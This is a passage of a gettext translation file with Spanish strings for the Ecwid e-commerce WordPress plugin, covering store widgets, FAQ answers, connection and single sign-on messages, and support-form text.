#: includes/class-ecwid-product-popup.php:149 msgid "Next Page" msgstr "Página siguiente" #: includes/class-ecwid-product-popup.php:148 msgid "Previous Page" msgstr "Página anterior" #: includes/class-ecwid-product-popup.php:147 msgid "First Page" msgstr "Primera página" #: includes/class-ecwid-product-popup.php:107 msgid "Add Product" msgstr "Añadir producto" #: includes/class-ecwid-oauth.php:366 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto»." #: templates/advanced-settings.php:54 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>" #: templates/advanced-settings.php:48 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>" #: templates/advanced-settings.php:39 msgid "Upgrade to get this feature" msgstr "Actualice para obtener esta función" #: templates/advanced-settings.php:32 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente." #: templates/advanced-settings.php:27 msgid "Customer Single Sign-On" msgstr "Inicio de sesión único del cliente" #: includes/integrations/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio." #: includes/integrations/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "Clase CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web." #: includes/integrations/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "ID de CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Esto cambiará la etiqueta del módulo en el creador para una fácil identificación." #: includes/integrations/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Etiqueta de administrador" #: includes/integrations/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Aquí puede crear el contenido que se utilizará dentro del módulo." #: includes/integrations/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Contenido" #: templates/admin-footer.php:29 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Volver a conectar</a>" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:73 msgid "Browse by Category" msgstr "Buscar por categoría" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:15 msgid "Store Root Categories" msgstr "Categorías raíz de la tienda" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:14 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda." #: templates/admin/welcome-connection-message.php:25 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">nuestro equipo de atención al cliente</a>." #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Le pido disculpas por las dificultades técnicas que estamos experimentando." #: includes/class-ecwid-floating-minicart.php:153 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:143 msgid "Top right" msgstr "Arriba a la derecha" #: includes/class-ecwid-floating-minicart.php:152 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:138 msgid "Bottom right" msgstr "Abajo a la derecha" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:135 #: includes/class-ecwid-customizer.php:110 msgid "Position" msgstr "Posición" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:20 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web." #: templates/help.php:215 msgid "You can send a new request here." msgstr "Puede enviar una nueva solicitud aquí." #: templates/help.php:214 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve." #: templates/help.php:213 msgid "Your email has been sent" msgstr "Se ha enviado su correo electrónico" #: templates/help.php:207 msgid "Send message failed" msgstr "Ocurrió un error al enviar el mensaje" #: templates/help.php:196 msgid "Send Message" msgstr "Enviar mensaje" #: templates/help.php:193 msgid "Type in your message here" msgstr "Escriba su mensaje aquí" #: templates/help.php:192 msgid "Subject" msgstr "Asunto" #: templates/help.php:186 msgid "Send a message to our support team" msgstr "Envíe un mensaje a nuestro equipo de asistencia" #: templates/help.php:177 msgid "Still have questions about Ecwid? Let us know!" msgstr "¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!" #: templates/help.php:176 msgid "Contact us" msgstr "Póngase en contacto con nosotros" #: templates/help.php:33 msgid "Frequently Asked Questions" msgstr "Preguntas frecuentes" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Buscar en la base de conocimientos" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Por ejemplo, cómo establecer el envío" #: templates/help.php:11 msgid "How can we help you?" msgstr "¿Cómo podemos ayudarle?" #: includes/faq_entries.php:68 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">centro de asistencia.</a>" #: includes/faq_entries.php:67 msgid "Is it possible to display my store on the site home page?" msgstr "¿Es posible mostrar mi tienda en la página de inicio del sitio web?" #: includes/faq_entries.php:61 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">Cómo utilizarlo</a>" #: includes/faq_entries.php:60 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?" #: includes/faq_entries.php:55 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> o <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">usuarios de pago de Ecwid</a>." #: includes/faq_entries.php:54 msgid "How do I put my products in the sitemap?" msgstr "¿Cómo pongo mis productos en el mapa del sitio?" #: includes/faq_entries.php:48 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web." #: includes/faq_entries.php:47 msgid "How do I add store categories to the site menu?" msgstr "¿Cómo puedo añadir categorías de tiendas al menú del sitio web?" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "¿Cuánto cuesta Ecwid?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href=\"%s\">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">Más detalles.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">Más detalles.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "¿Cómo crear una tienda en Facebook con Ecwid?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">Más detalles.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">Más detalles.</a>" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?" #: includes/class-ecwid-nav-menus.php:32 msgid "Ecwid Menu Item" msgstr "Elemento del menú de Ecwid" #: includes/class-ecwid-admin.php:179 includes/class-ecwid-admin.php:180 msgid "Help" msgstr "Ayuda" #: templates/admin-footer.php:27 msgid "Want to connect another %s store?" msgstr "¿Desea conectar otra tienda de %s?" #: templates/admin-footer.php:17 msgid "Questions?" msgstr "¿Tiene alguna pregunta?" #: templates/admin-footer.php:6 msgid "Manage Store on iPhone, iPad or Android" msgstr "Gestione la tienda desde iPhone, iPad o Android" #: includes/class-ecwid-message-manager.php:254 msgid "Complete Setup" msgstr "Completar configuración" #: includes/class-ecwid-message-manager.php:253 msgid "Complete setup and start selling" msgstr "Complete la configuración y comience a vender" #: includes/class-ecwid-message-manager.php:242 msgid "Greetings! Your %s plugin is now active." msgstr "¡Enhorabuena! Su complemento de %s ya está activo." #: templates/debug.php:12 msgid "Download log file" msgstr "Descargar archivo de registro" #: templates/help.php:67 includes/oembed.php:75 includes/oembed.php:104 msgid "See more" msgstr "Ver más" #: ecwid-shopping-cart.php:1051 msgid "I have a problem with my %s store" msgstr "Tengo un problema con mi tienda de %s" #: includes/class-ecwid-message-manager.php:55 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>." #: templates/store-popup.php:249 msgid "Open store dashboard" msgstr "Abrir el panel de la tienda" #: templates/store-popup.php:12 templates/store-popup.php:27 msgid "Store elements" msgstr "Elementos de la tienda" #: templates/reconnect-sso.php:10 msgid "Re-connect to Enable Control Panel" msgstr "Vuélvase a conectar para activar el panel de control" #: templates/reconnect-sso.php:8 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página." #: templates/reconnect-sso.php:7 msgid "Your store Control Panel. Right here in WordPress." msgstr "Panel de control de su tienda. Aquí mismo en WordPress." #: ecwid-shopping-cart.php:2114 msgid "Orders" msgstr "Pedidos" #: includes/class-ecwid-nav-menus.php:168 ecwid-shopping-cart.php:2118 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable" #: includes/class-ecwid-nav-menus.php:167 ecwid-shopping-cart.php:2117 msgid "Done" msgstr "Hecho" #: includes/class-ecwid-nav-menus.php:166 ecwid-shopping-cart.php:2116 msgid "Refresh categories list" msgstr "Actualizar la lista de categorías" #: includes/class-ecwid-nav-menus.php:165 msgid "Store Page" msgstr "Página de la tienda" #: includes/class-ecwid-nav-menus.php:319 msgid "Add to Menu" msgstr "Añadir al menú" #: includes/class-ecwid-nav-menus.php:316 msgid "Select All" msgstr "Seleccionar todo" #: includes/class-ecwid-nav-menus.php:369 msgid "Store with Categories Menu" msgstr "Tienda con menú de categorías" #: includes/class-ecwid-nav-menus.php:352 #: includes/class-ecwid-nav-menus.php:355 msgid "My Account" msgstr "Mi cuenta" #: includes/class-ecwid-nav-menus.php:335 #: includes/class-ecwid-floating-minicart.php:135 #: includes/class-ecwid-admin-storefront-page.php:279 msgid "Cart" msgstr "Carrito" #: includes/class-ecwid-admin.php:87 includes/class-ecwid-admin.php:88 #: includes/class-ecwid-products.php:228 ecwid-shopping-cart.php:2112 msgid "Products" msgstr "Productos" #: includes/class-ecwid-admin.php:79 includes/class-ecwid-admin.php:80 msgid "Sales" msgstr "Ventas" #: ecwid-shopping-cart.php:1119 msgid "Report a problem with the store" msgstr "Informar un problema con la tienda" #: ecwid-shopping-cart.php:1036 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "El complemento %s no funciona bien con mi tema «%s»" #: templates/admin/welcome-connection-message.php:22 #: templates/admin/welcome-connection-message.php:28 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL." #. Description of the plugin msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos." #. Plugin URI of the plugin msgid "http://www.ecwid.com?partner=wporg" msgstr "http://www.ecwid.com?partner=wporg" #: templates/store-svg.php:12 msgid "Demo Store" msgstr "Tienda de demostración" #: templates/store-svg.php:9 msgid "Your store will be shown here!" msgstr "¡Su tienda se mostrará aquí!" #: templates/product-popup.php:248 templates/store-popup.php:256 msgid "Update" msgstr "Actualizar" #: templates/store-popup.php:253 msgid "Insert into page" msgstr "Insertar en la página" #: templates/store-popup.php:246 msgid "Demo store" msgstr "Tienda de demostración" #: templates/store-popup.php:80 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>." #: templates/store-popup.php:74 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:86 msgid "Show categories" msgstr "Mostrar categorías" #: templates/store-popup.php:66 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:94 msgid "Show minicart" msgstr "Mostrar minicarrito" #: templates/store-popup.php:58 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:78 msgid "Show search" msgstr "Mostrar búsqueda" #: templates/store-popup.php:53 msgid "Product catalog will be shown automatically" msgstr "El catálogo de productos se mostrará automáticamente" #: templates/store-popup.php:52 msgid "Choose widgets to show" msgstr "Elija los «widgets» a mostrar" #: templates/admin/welcome-create.php:7 msgid "Connect your store" msgstr "Conecte su tienda" #: templates/admin/welcome-no_oauth.php:6 #: templates/importer/import-no-token.tpl.php:6 #: includes/class-ecwid-message-manager.php:291 msgid "Connect" msgstr "Conectar" #: templates/admin/legacy-connect.tpl.php:68 msgid "Save and connect your %s store to the site" msgstr "Guarde y conecte su tienda de %s al sitio web" #: templates/admin/legacy-connect.tpl.php:59 msgid "Enter your Store ID here:" msgstr "Introduzca el ID de su tienda aquí:" #: templates/admin/legacy-connect.tpl.php:52 msgid "Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the \"Dashboard\" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro." #: templates/admin/legacy-connect.tpl.php:50 msgid "Find your Store ID" msgstr "Encuentre el ID de su tienda" #: templates/admin/legacy-connect.tpl.php:46 msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal." #: templates/admin/legacy-connect.tpl.php:42 msgid "I already have an account, sign in" msgstr "Ya tengo una cuenta, iniciar sesión" #: templates/admin/legacy-connect.tpl.php:35 msgid "Create a new %s account which you will use to manage your store and inventory. The registration is free." msgstr "Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito." #: templates/admin/legacy-connect.tpl.php:24 msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos." #: templates/admin/legacy-connect.tpl.php:21 msgid "Thank you for choosing %s to build your online store" msgstr "Gracias por elegir %s para construir su tienda en línea" #: templates/admin/simple-dashboard.php:58 msgid "Open control panel" msgstr "Abrir el panel de control" #: templates/admin/simple-dashboard.php:42 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Su tienda de %s está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:39 msgid "Greetings!" msgstr "¡Saludos!" #: templates/admin/simple-dashboard.php:34 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:31 msgid "Congratulations!" msgstr "¡Enhorabuena!" #: templates/admin/simple-dashboard.php:18 msgid "Disconnect store" msgstr "Desconectar tienda" #: templates/admin/legacy-connect.tpl.php:65 #: templates/admin/simple-dashboard.php:14 templates/store-popup.php:244 #: templates/store-svg.php:14 #: includes/integrations/class-ecwid-integration-gutenberg.php:104 #: includes/gutenberg/class-ecwid-gutenberg.php:130 msgid "Store ID" msgstr "ID de la tienda" #: templates/admin/welcome-connection-message.php:15 msgid "Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again." msgstr "Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo." #: templates/admin/legacy-connect.tpl.php:57 #: templates/admin/welcome-no_oauth.php:3 msgid "Enter your Store ID" msgstr "Introduzca el ID de su tienda" #: templates/store-popup.php:221 msgid "Default view mode on search results" msgstr "Modo de vista predeterminado en los resultados de búsqueda" #: templates/store-popup.php:214 templates/store-popup.php:232 msgid "Table" msgstr "Tabla" #: templates/store-popup.php:211 templates/store-popup.php:229 msgid "List" msgstr "Lista" #: templates/store-popup.php:208 templates/store-popup.php:226 msgid "Grid" msgstr "Cuadrícula" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Modo de vista predeterminado en las páginas de productos" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos." #: templates/store-popup.php:169 msgid "Table view" msgstr "Vista de tabla" #: templates/store-popup.php:152 msgid "List view" msgstr "Vista de lista" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Vista de cuadrícula" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Número de productos por página" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Número de categorías por fila" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Guardar cambios" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "ID de categoría predeterminada" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Categoría raíz de la tienda" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Categoría mostrada por defecto" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Nunca mostrar este mensaje otra vez" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Precio" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Editar apariencia" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Editar tienda" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Añadir tienda" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Regresar a la configuración de la tienda" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "¡Su tienda ya está casi lista!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Siga unos sencillos pasos para completar la configuración de la tienda" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Número de productos para mostrar" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Título del enlace de la tienda" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Aún no ha visto ningún producto. Abra la tienda." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Productos vistos recientemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Texto" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Tienda" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Enlace a la página de la tienda" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Categorías de la tienda" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Búsqueda de productos" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Título:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Carrito de compras" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito para que el cliente vea los productos que se han 